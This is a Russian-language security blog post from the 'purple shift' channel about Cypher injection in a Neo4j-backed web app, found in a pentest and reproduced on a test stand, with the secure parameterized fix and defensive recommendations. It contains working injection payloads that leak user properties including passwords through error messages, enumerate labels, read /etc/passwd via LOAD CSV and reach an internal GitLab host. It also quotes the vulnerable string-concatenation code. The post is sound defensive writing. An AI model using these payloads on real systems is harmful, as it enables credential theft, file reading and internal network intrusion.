TGViewer
purple shift purple shift @purpleshift · 3.04K subscribers
Post #213 1.58K
Cypher-инъекция для атаки на базу данных Neo4j возникает по тем же причинам, что и SQL‑инъекция: приложение вставляет пользовательский ввод прямо в запрос к базе. В результате злоумышленник может изменить не только значение для поиска, но и логику самого запроса.

На одном из проектов по анализу защищённости нам встретилось веб-приложение, которое использовало базу Neo4j. В ней в том числе хранились данные пользователей, используемые при аутентификации. Мы обнаружили, что приложение формирует Cypher‑запросы путем прямой конкатенации пользовательского ввода - это и создавало риск инъекции.

Чтобы не раскрывать детали заказчика и безопасно воспроизвести найденные атаки, мы собрали локальный стенд с такой же уязвимостью. Все дальнейшие запросы и результаты показаны уже на нём, а используемые данные и внутренние сервисы являются тестовыми.

Суть проблемы:

Уязвимый код может выглядеть так:

query = f'MATCH (u:Users) WHERE u.login = "{user_input}" RETURN u'


Здесь введенный логин становится частью текста запроса и может изменить его содержание. Правильный вариант: оставить Cypher неизменным, а значение передать драйверу отдельно:

query = "MATCH (u:Users) WHERE u.login = $user_input RETURN u"

with driver.session() as session:
result = session.run(query, user_input=user_input)


В данном случае $user_input - это параметр запроса: драйвер передаёт его значение отдельно от текста запроса. Neo4j сначала компилирует запрос, а затем подставляет значение параметра, поэтому содержимое user_input интерпретируется как данные, а не как часть синтаксиса Cypher.

На практике:

На проекте сработала следующая цепочка, которую мы повторили на стенде. Сначала мы заставили Neo4j включить свойства объекта в текст ошибки. Запрос из Burp выглядел так:

GET /api/user?login="+OR+1%3D1+RETURN+toString(CASE+WHEN+1%3D1+THEN+properties(u)+ELSE+0+END)+// HTTP/1.1
Host: localhost:5001


Значение login после декодирования:

" OR 1=1 RETURN toString(CASE WHEN 1=1 THEN properties(u) ELSE 0 END) // 


Кавычка закрывает исходную строку, OR делает условие истинным, а // комментирует хвост запроса.

Neo4j попытался преобразовать свойства объекта в строку и вернул ошибку типизации. Приложение показало ошибку целиком, поэтому в ответ попали свойства пользователя, включая password в виде ByteArray[...].

Neo.ClientError.Statement.TypeError:
Map{login -> "admin", password -> ByteArray[...]}


После этого проверили метки графа, локальный файл и внутренний сервис, внедряя вредоносные фрагменты Cypher в параметр login через функцию Inspector в модуле Burp Repeater:

" OR 1=1 WITH u LIMIT 1 CALL db.labels() YIELD label RETURN label //

" OR 1=1 WITH u LIMIT 1 LOAD CSV FROM "file:///etc/passwd" AS line RETURN line //

" OR 1=1 WITH u LIMIT 1 LOAD CSV FROM "http://gitlab-internal" AS line RETURN line //


Первый запрос вернул метку Users. Через LOAD CSV удалось прочитать строку из /etc/passwd и получить страницу внутреннего GitLab:

label = "Users"
root:x:0:0:root:/root:/bin/bash
<title>GitLab</title>


Чтение файлов и HTTP-запросы через LOAD CSV зависят от версии Neo4j, настроек, прав процесса и сетевых ограничений. На другой конфигурации эти запросы могут не сработать.

Результат:

Эксплуатация инъекции позволила получить не только доступ к данным графа. Сначала подробная ошибка Neo4j раскрыла свойства пользователя, включая поле password. На стенде удалось получить метку Users, прочитать строки из файла внутри контейнера Neo4j и обратиться к тестовому внутреннему HTTP-сервису. Таким образом, уязвимость в формировании Cypher‑запросов открыла возможность для нескольких векторов воздействия: извлечения данных узлов и связей, чтения локальных файлов сервера и обращения к доступным из Neo4j внутренним сервисам.

Для защиты от такой атаки рекомендуем:

— использовать параметризованные запросы,
— не возвращать клиенту информацию о содержании ошибки,
— выдать приложению минимальные права,
— ограничить LOAD CSV и исходящий трафик.
  • 👍 10
  • ❤ 7
  • 🔥 5
  • 👏 1
More from @purpleshift
  1. Sep 21, 2026В конце лета число подписчиков нашего канала перевалило за 3 тысячи. Мы конечно же поздрав…
  2. Sep 16, 2026«Мир стоит на кодах и шифрах, Джон. Многомиллионные охранные системы в банках и простеньки…
  3. Sep 11, 2026Финал соревнований VolgaCTF 2026 пройдёт с 16 по 18 сентября в Самаре. И на этом мероприят…
  4. Sep 7, 2026В начале августа мы рассказали, что хакерская группировка Labooboo (Toy Ghouls, Bearlyfy,…
  5. Sep 4, 2026Атаки с использованием NTFS-потоков в Windows давно стали классикой. В Linux-средах про ра…
  6. Aug 28, 2026Все слышали новости о том, что в этом году LLM находят множество критических уязвимостей —…
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →